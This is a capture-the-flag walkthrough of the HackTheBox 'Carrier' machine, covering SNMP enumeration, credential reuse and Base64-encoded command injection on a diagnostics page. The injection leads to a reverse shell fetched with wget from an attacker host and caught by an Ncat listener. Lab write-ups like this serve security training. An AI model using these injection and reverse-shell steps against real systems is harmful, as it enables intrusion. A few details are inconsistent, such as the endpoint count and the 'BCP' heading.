Objective & Overview

HackTheBox (HTB) challenges enthusiasts by placing them in realistic scenarios involving network infrastructure security. The “Carrier” machine features a unique exploitation chain, initially highlighted for its potential involvement with Border Gateway Protocol (BGP). In this walkthrough, we focus on the practical steps taken to move from initial reconnaissance to obtaining full root access via web application vulnerabilities and command injection techniques.

What is BCP Hijacking?

A malicious actor or misconfiguration can trigger BGP hijacking by falsely advertising ownership of IP address ranges. As a result, because BGP operates on trust without inherent verification, this false information can cause global routers to misroute traffic, potentially leading to severe service outages, data interception, or phishing attacks

Public Service Announcement

THIS IS ONLY FOR EDUCATIONAL PURPOSES. Access to this system via HTB VPN.

• Signup for HTB Account.
• Acquire VPN credentials and authenticate.
• Test access to the system. Accessing the system with your current credentials allows testing now, but note: accessing retired systems always requires a paid subscription. Check HTB for more details.

---

1. Initial Reconnaissance

Objective: Identify active services, open ports, and operating system fingerprinting.
We began our penetration testing process by running an extensive NMAP scan against the target (10.10.10.105).

• Open Ports Identified:
  • 22/tcp (SSH)
  • 80/tcp (Apache HTTP Server)
  • 67/udp (DHCPv4 – Filtered/Open)
  • 161/udp (SNMP Version 1)

Nmap scan report for 10.10.10.105
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA)
| 256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA)
|_ 256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login
67/udp open|filtered dhcps
161/udp open snmp
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=1/3%OT=22%CT=1%CU=33064%PV=Y%DS=2%DC=T%G=Y%TM=5C2DA992
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=A)OPS(
OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11
OS:NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(
OS:R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=OS:S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1025/tcp)

Based on these findings, we identified a legacy Simple Network Management Protocol (SNMP) service running alongside the web server. Although standard, it presented an opportunity for information gathering if not properly secured. We proceeded to analyze the network fingerprint and OS detection results (Service Info: Linux).

2. Information Gathering via SNMP

Objective: Enumerate system data without elevated privileges.
Port 161/udp confirmed the presence of a SNMP service using version 1, which is widely considered deprecated but often left unpatched in testing environments.

• Enumeration Method: We utilized the SNMPWALK tool on Kali Linux to retrieve system information and string values that might be useful for subsequent attacks.
  > “To assess if this represents an attack path based on versioning…”

The command syntax used was:
snmpwalk -c public -v1 10.10.10.105

Specifically, the tool revealed a distinct string value, NET_45JDX23. This data pointed to hardware serial numbers stored in the ENTITY-MIB database (iso.3.6.1.2.1.47...). Consequently, we incorporated this discovered password into our brute-force strategy for administrative console login.

3. Web Application Analysis & Credential Access

Objective: Gain initial access via the web portal and ticketing system.
We examined two primary endpoints: /debug/, /tools/, and /doc/. Manual testing yielded no further information initially. However, reviewing remote.php provided context for later exploitation steps.

• Login Attempt: Using the SNMP string (NET_45JDX23) as a credential allowed access to the Lyghtspeed Dashboard under username: admin.
  > “Additionally, we used Nikto and DirB tools…”

Furthermore, we analyzed internal web portals linked within the application. Specifically, accessing the “Tickets Link” revealed intelligence regarding routing issues (“routes being leaked”). These logs served as valuable context for our understanding of potential network-level flaws (such as BGP hijacking). While primarily flavor text in this scenario, reviewing these tickets highlighted that customer routes were manipulated and IP Core teams were involved.

Ticket
1 Closed Welcome to Lyghtspeed's lightweight telco support system!
2 Closed Rx / Mr. White. Says he can't get to "the interwebz". Cleared cache/cookie, etc., rebooted PC. Pb fixed.
3 Open Rx / Jeremy Paxton. Customer complaining about "choke" and "lags" with BoogleGrounds gaming application. Ticket opened with field services to check DSL line. Update 2018/05/30: DSL line checks out OK, sending to IP Core team for further investigation.
4 Escalated Rx / Cust #642. Need help setting up Outlook Express on Windows 98. Told customer this platform is no longer supported. Customer has requested an escalation to my manager.
5 Closed Rx / LoneWolf7653. User called in to report what is according to him a "critical security issue" in our demarc equipment. Mentioned something about a CVE (??). Request contact info and sent to legal for further action.
6 Closed Rx / CastCom. IP Engineering team from one of our upstream ISP called to report a problem with some of their routes being leaked again due to a misconfiguration on our end. Update 2018/06/13: Pb solved: Junior Net Engineer Mike D. was terminated yesterday. Updated: 2018/06/15: CastCom. still reporting issues with 3 networks: 10.120.15,10.120.16,10.120.17/24's, one of their VIP is having issues connecting by FTP to an important server in the 10.120.15.0/24 network, investigating... Updated 2018/06/16: No prbl. found, suspect they had stuck routes after the leak and cleared them manually.
7 Closed Rx / Pam Dubois. Customer is inquiring about multiple emails received from a "Nigerian Prince". Upselled customer our email security mgmt solution.
8 Open Rx / Roger (from CastCom): wants to schedule a test of their route filtering policy, asked us to inject one of their routes from our side. He's insisted we tag the route correctly so it is not readvertised to other BGP AS'es. 

4. Web Exploitation: Command Injection

Objective: Escalate privileges using the diagnostic web interface.
After logging into /admin, we focused on the “Diagnostics” link (/diag.php). By leveraging Burp Suite Community Edition to capture traffic, we discovered that POST requests contained Base64-encoded usernames in parameters like check=.

Payload Testing:

1. Tested Username: Decoded cXVhZ2dh from the response confirmed it mapped to “quagga“. “Usernames (‘quagga‘ and ‘root‘) were tied to specific services.”
2. Base64 Encoding: We successfully encoded a new username, e.g., root (cm9vdA==). By appending commands like id alongside the parameter using ampersands (&) or pipes (|), we utilized Burp Suite’s encoding capabilities for seamless transmission through the proxy.

Subsequently, this enabled us to read access to /etc/passwd, allowing us to map user accounts and UIDs. However, restricted access remained in place for sensitive hashes stored in /etc/shadow. To bypass these restrictions at this stage without direct file reading permissions, we pivoted our strategy toward establishing a reverse shell connection through the web console.

5. Privilege Escalation & Root Access

Objective: Establish persistence and achieve root shell access via Perl Reverse Shell.
We analyzed phpinfo() debug information on the server to confirm that Perl was installed locally. This confirmed we could upload a custom payload without modifying the web server directly.

• Payload Hosting: We downloaded reverse shell templates from Kali’s standard repository (/usr/share/webshells) and created a simple Python HTTPServer to host our Perl script (bigMerl.pl).
  > “Hosting the reverse shell with Python web server.”

1. Transfer Payload: Command: wget http://[attacker-ip]/bigMerl.pl.
2. Execution: We utilized an Ncat listener on TCP port 1224 to receive incoming connections once our payload was triggered via command injection.

Ultimately, by encoding the execution of this script (id&perl bigMERL.pl) and sending it through the CARRIER Lyghtspeed Diagnostics page, we successfully achieved a root shell on the system (“Root Shell On Shells”).

Conclusion

By combining SNMP enumeration to find weak credentials with web-based command injection via Base64 encoding, we fully compromised the HTB: Carrier machine. This exercise demonstrates how legacy protocols like SNMP can leak sensitive strings which are often overlooked until they become keys for privilege escalation in a Web Application context.

---